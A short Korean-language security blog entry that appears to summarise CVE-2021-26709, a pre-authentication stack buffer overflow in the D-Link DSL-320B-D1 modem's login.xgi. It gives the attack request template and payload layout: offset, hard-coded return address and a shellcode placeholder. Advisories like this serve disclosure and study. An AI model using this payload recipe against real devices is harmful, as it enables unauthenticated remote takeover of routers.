[하루한줄] CVE-2021-26709: D-Link DSL-320B-D1 Pre-Auth Buffer Overflow

URL

D-Link DSL-320B-D1 Pre-Authentication Buffer Overflow

Target

  • DSL-320B-D1, EU_1.25 and lower

Explain

ADSL 모뎀, DSL-320b-D1, EU_1.25 이하의 버전에서 인증되지 않은 사용자가 원격에서 디바이스를 탈취할 수 있는 Stack Buffer Overflow 취약점이 발견되었습니다.

취약점은 로그인을 담당하는 login.xgi에서 userpass 인자를 통해 발생합니다.

GET /login.xgi?user=" + payload + "&pass=abcde HTTP/1.1\\nHost: " +
host + "\\n\\n"

user 파라미터를 사용해 취약점을 악용하기 위해서 구성되는 페이로드는 다음과 같습니다.

OFFSET = 652
ADDR = 0x7ffe8ab0

payload = "A"*OFFSET
payload += pack(">I", ADDR)
payload += shellcode

반면에 pass 파라미터는 오프셋으로 641을 사용합니다. 페이로드는 GET request에서 파라미터로 전달되어야 하며 ROP를 사용하면 하드 코딩된 주소를 사용하지 않고 exploit이 가능합니다.